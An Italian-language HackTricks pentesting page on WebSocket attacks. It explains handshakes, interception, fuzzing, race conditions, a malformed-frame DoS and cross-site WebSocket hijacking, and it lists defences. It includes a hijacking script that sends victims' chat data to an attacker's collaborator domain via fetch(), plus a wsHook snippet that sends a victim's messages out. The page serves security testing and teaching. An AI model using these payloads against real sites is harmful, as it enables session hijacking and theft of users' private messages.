Attacchi WebSocket
Reading time: 15 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Cosa sono i WebSocket
Le connessioni WebSocket vengono stabilite tramite un handshake iniziale HTTP e sono progettate per essere persistenti, consentendo messaggistica bidirezionale in qualsiasi momento senza la necessità di un sistema transazionale. Questo rende i WebSocket particolarmente vantaggiosi per applicazioni che richiedono bassa latenza o comunicazione iniziata dal server, come i flussi finanziari in tempo reale.
Stabilimento delle connessioni WebSocket
A detailed explanation on establishing WebSocket connections can be accessed here. In sintesi, le connessioni WebSocket vengono solitamente iniziate tramite JavaScript lato client come mostrato di seguito:
var ws = new WebSocket("wss://normal-website.com/ws")
Il protocollo wss
indica una connessione WebSocket protetta con TLS, mentre ws
indica una connessione non protetta.
Durante l'instaurazione della connessione, viene eseguito un handshake tra il browser e il server tramite HTTP. Il processo di handshake prevede che il browser invii una richiesta e il server risponda, come illustrato nei seguenti esempi:
Il browser invia una richiesta di handshake:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Risposta di handshake del server:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
La connessione rimane aperta per lo scambio di messaggi in entrambe le direzioni una volta stabilita.
Punti chiave del WebSocket handshake:
- Le intestazioni
Connection
eUpgrade
segnalano l'inizio di un WebSocket handshake. - L'intestazione
Sec-WebSocket-Version
indica la versione del protocollo WebSocket desiderata, di solito13
. - Un valore random codificato in Base64 viene inviato nell'intestazione
Sec-WebSocket-Key
, garantendo che ogni handshake sia unico, il che aiuta a prevenire problemi con proxy di caching. Questo valore non è per l'autenticazione ma serve a confermare che la risposta non è generata da un server o cache mal configurati. - L'intestazione
Sec-WebSocket-Accept
nella risposta del server è un hash delSec-WebSocket-Key
, verificando l'intenzione del server di aprire una connessione WebSocket.
Queste caratteristiche assicurano che il processo di handshake sia sicuro e affidabile, preparando il terreno per una comunicazione in tempo reale efficiente.
Console Linux
Puoi usare websocat
per stabilire una connessione raw con un WebSocket.
websocat --insecure wss://10.10.10.10:8000 -v
Oppure per creare un server websocat:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket connections
Se scopri che dei client sono connessi a un HTTP websocket dalla tua rete locale attuale, puoi provare un ARP Spoofing Attack per eseguire un MitM attack tra il client e il server.
Una volta che il client sta cercando di connettersi a te, puoi quindi usare:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets enumerazione
Puoi usare il tool https://github.com/PalindromeLabs/STEWS per scoprire, fingerprint e cercare vulnerabilities in websockets automaticamente.
Strumenti di debug per Websocket
- Burp Suite supporta la comunicazione MitM di websockets in modo molto simile a come lo fa per la comunicazione HTTP normale.
- L'socketsleuth estensione per Burp Suite ti permette di gestire meglio le comunicazioni Websocket in Burp ottenendo la history, impostando interception rules, usando regole di match and replace, e utilizzando Intruder e AutoRepeater.
- WSSiP: Contrazione di "WebSocket/Socket.io Proxy", questo strumento, scritto in Node.js, fornisce un'interfaccia utente per catturare, intercettare, inviare messaggi personalizzati e visualizzare tutte le comunicazioni WebSocket e Socket.IO tra client e server.
- wsrepl è un interactive websocket REPL progettato specificamente per penetration testing. Fornisce un'interfaccia per osservare incoming websocket messages and sending new ones, con un framework facile da usare per automating questa comunicazione.
- https://websocketking.com/ è un'interfaccia web per comunicare con altri web usando websockets.
- https://hoppscotch.io/realtime/websocket tra altri tipi di comunicazioni/protocolli, fornisce un'interfaccia web per comunicare con altri web usando websockets.
Decrypting Websocket
Laboratorio Websocket
In Burp-Suite-Extender-Montoya-Course hai un codice per lanciare un'app web che usa websockets e in this post puoi trovare una spiegazione.
Websocket Fuzzing
L'estensione di Burp Backslash Powered Scanner ora permette di fuzzare anche i messaggi WebSocket. Puoi leggere più informazioni su questo here.
WebSocket Turbo Intruder (estensione per Burp)
Il WebSocket Turbo Intruder di PortSwigger porta lo scripting in stile Turbo Intruder in Python e il fuzzing ad alta velocità su WebSockets. Installalo dal BApp Store o dal sorgente. Include due componenti:
- Turbo Intruder: invio ad alto volume di messaggi a un singolo endpoint WS usando motori custom.
- HTTP Middleware: espone un endpoint HTTP locale che inoltra i body come messaggi WS su una connessione persistente, così qualsiasi scanner basato su HTTP può sondare i backend WS.
Modello di script di base per fuzzare un endpoint WS e filtrare le risposte rilevanti:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Usa decoratori come @MatchRegex(...)
per ridurre il rumore quando un singolo messaggio genera più risposte.
Instradare WS tramite HTTP (HTTP Middleware)
Incapsula una connessione WS persistente e inoltra i body HTTP come messaggi WS per il testing automatizzato con scanner HTTP:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Poi invia HTTP localmente; il corpo viene inoltrato come messaggio WS:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Questo ti permette di pilotare backend WS filtrando per eventi “interessanti” (es., SQLi errors, auth bypass, command injection behavior).
Socket.IO handling (handshake, heartbeats, events)
Socket.IO aggiunge un framing proprio sopra WS. Rilevalo tramite il parametro di query obbligatorio EIO
(es., EIO=4
). Mantieni la sessione attiva con Ping (2
) e Pong (3
) e avvia la conversazione con "40"
, poi emetti eventi come 42["message","hello"]
.
Esempio Intruder:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Variante dell'adattatore HTTP:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Rilevamento di prototype pollution lato server tramite Socket.IO
Seguendo la tecnica di rilevamento sicura di PortSwigger, prova a contaminare gli internals di Express inviando un payload come:
{"__proto__":{"initialPacket":"Polluted"}}
Se i saluti o il comportamento cambiano (es. l'echo include "Polluted"), è probabile che tu abbia inquinato i prototype lato server. L'impatto dipende dai sink raggiungibili; correlalo con i gadget nella sezione Node.js prototype pollution. Vedi:
- Consulta NodeJS – proto & prototype Pollution per sinks/gadgets e idee di chaining.
WebSocket race conditions with Turbo Intruder
Il motore di default raggruppa i messaggi su una singola connessione (ottimo throughput, scadente per le race conditions). Usa il motore THREADED per generare più connessioni WS e inviare payload in parallelo per scatenare logic races (double‑spend, token reuse, state desync). Parti dallo script d'esempio e regola la concorrenza in config()
.
- Consulta la metodologia e le alternative in Race Condition (vedi “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
Crea frame WS il cui header dichiara una lunghezza del payload enorme ma non invii alcun body. Alcuni server WS si fidano della lunghezza e preallocano buffer; impostarla vicino a Integer.MAX_VALUE
può causare Out‑Of‑Memory e un DoS remoto senza autenticazione. Vedi lo script d'esempio.
CLI and debugging
- Fuzzing in modalità headless:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
- Abilita il WS Logger per catturare e correlare i messaggi usando ID interni.
- Usa gli helper
inc*
/dec*
suConnection
per modificare la gestione degli ID messaggio in adapter complessi. - Decorator come
@PingPong
/@Pong
e helper comeisInteresting()
riducono il rumore e mantengono le sessioni attive.
Operational safety
Il fuzzing WS ad alta velocità può aprire molte connessioni e inviare migliaia di messaggi al secondo. Frame malformati e tassi elevati possono causare DoS reali. Utilizzare solo dove consentito.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, noto anche come cross-origin WebSocket hijacking, è identificato come un caso specifico di Cross-Site Request Forgery (CSRF) che interessa gli handshake WebSocket. Questa vulnerabilità si verifica quando gli handshake WebSocket si autenticano esclusivamente tramite HTTP cookies senza CSRF tokens o misure di sicurezza simili.
Gli attacker possono sfruttarlo ospitando una pagina web malevola che avvia una connessione WebSocket cross-site verso un'app vulnerabile. Di conseguenza, la connessione viene trattata come parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione della sessione.
Perché questo attacco funzioni, questi sono i requisiti:
- L'autenticazione websocket deve essere basata sui cookie
- Il cookie deve essere accessibile dal server dell'attaccante (di solito significa
SameSite=None
) e non devono essere attivati Firefox Total Cookie Protection in Firefox né blocked third-party cookies in Chrome. - Il server websocket non deve verificare l'Origin della connessione (o questa deve essere aggirabile)
Also:
- If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)
Simple Attack
Nota che quando si stabilisce una connessione websocket il cookie viene inviato al server. Il server potrebbe usarlo per associare ogni singolo utente alla sua websocket session basata sul cookie inviato.
Quindi, se ad esempio il server websocket restituisce la cronologia della conversazione di un utente quando viene inviato un messaggio con "READY", allora una semplice XSS che stabilisca la connessione (il cookie verrà inviato automaticamente per autorizzare l'utente vittima) inviando "READY" potrà recuperare la cronologia della conversazione.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie con un sottodominio diverso
In questo blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ l'attaccante è riuscito a eseguire Javascript arbitrario in un sottodominio del dominio in cui avveniva la comunicazione Websocket. Poiché era un sottodominio, il cookie veniva inviato, e poiché il Websocket non verificava correttamente l'Origin, era possibile comunicare con esso e rubare i token.
Stealing data from user
Copia l'applicazione web che vuoi impersonare (i file .html per esempio) e all'interno dello script in cui avviene la comunicazione websocket aggiungi questo codice:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Ora scarica il file wsHook.js
da https://github.com/skepticfx/wshook e salvalo nella cartella con i file web.
Esponendo l'applicazione web e inducendo un utente a connettersi potrai rubare i messaggi inviati e ricevuti tramite websocket:
sudo python3 -m http.server 80
Protezioni CSWSH
L'attacco CSWSH si basa sul fatto che un utente si connetterà a una pagina malevola che aprirà una connessione websocket a una pagina web a cui l'utente è già connesso e si autenticherà al suo posto poiché la richiesta invierà i cookie dell'utente.
Oggi è molto facile prevenire questo problema:
- Websocket server checking the origin: Il websocket server dovrebbe sempre controllare da dove un utente si connette per evitare che pagine inattese si connettano a esso.
- Authentication token: Invece di basare l'autenticazione su un cookie, la connessione websocket potrebbe basarsi su un token generato dal server per l'utente e sconosciuto all'attaccante (come un anti-CSRF token).
- SameSite Cookie attribute: I cookie con valore
SameSite
impostato aLax
oStrict
non saranno inviati da una pagina esterna dell'attaccante al server vittima, quindi l'autenticazione basata sui cookie non avrà successo. Nota che Chrome ora assegna il valoreLax
ai cookie privi di questa flag rendendo questo comportamento più sicuro di default. Tuttavia, nei primi 2 minuti dalla creazione un cookie avrà il valoreNone
, rendendolo vulnerabile durante quel periodo limitato (si prevede anche che questa misura venga rimossa a un certo punto). - Firefox Total Cookie Protection: Total Cookie Protection funziona isolando i cookie al sito in cui sono creati. Essenzialmente ogni sito ha la propria partizione di storage dei cookie per impedire a terze parti di collegare insieme la cronologia di navigazione di un utente. Questo rende CSWSH inutilizzabile poiché il sito dell'attaccante non avrà accesso ai cookie.
- Chrome third-party cookies block: Questo può anche impedire l'invio del cookie dell'utente autenticato al websocket server anche con
SameSite=None
.
Race Conditions
Anche le race conditions nei WebSockets esistono, check this information to learn more.
Altre vulnerabilità
Poiché i Web Sockets sono un meccanismo per inviare dati sia al server che al client, a seconda di come server e client gestiscono le informazioni, i Web Sockets possono essere usati per sfruttare molte altre vulnerabilità come XSS, SQLi o qualsiasi altra vulnerabilità web comune utilizzando l'input di un utente da un websocket.
WebSocket Smuggling
Questa vulnerabilità potrebbe permettere di bypassare le restrizioni dei reverse proxy facendoli credere che sia stata stabilita una comunicazione websocket (anche se non è vero). Ciò potrebbe consentire a un attaccante di accedere a endpoint nascosti. Per maggiori informazioni verifica la pagina seguente:
References
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.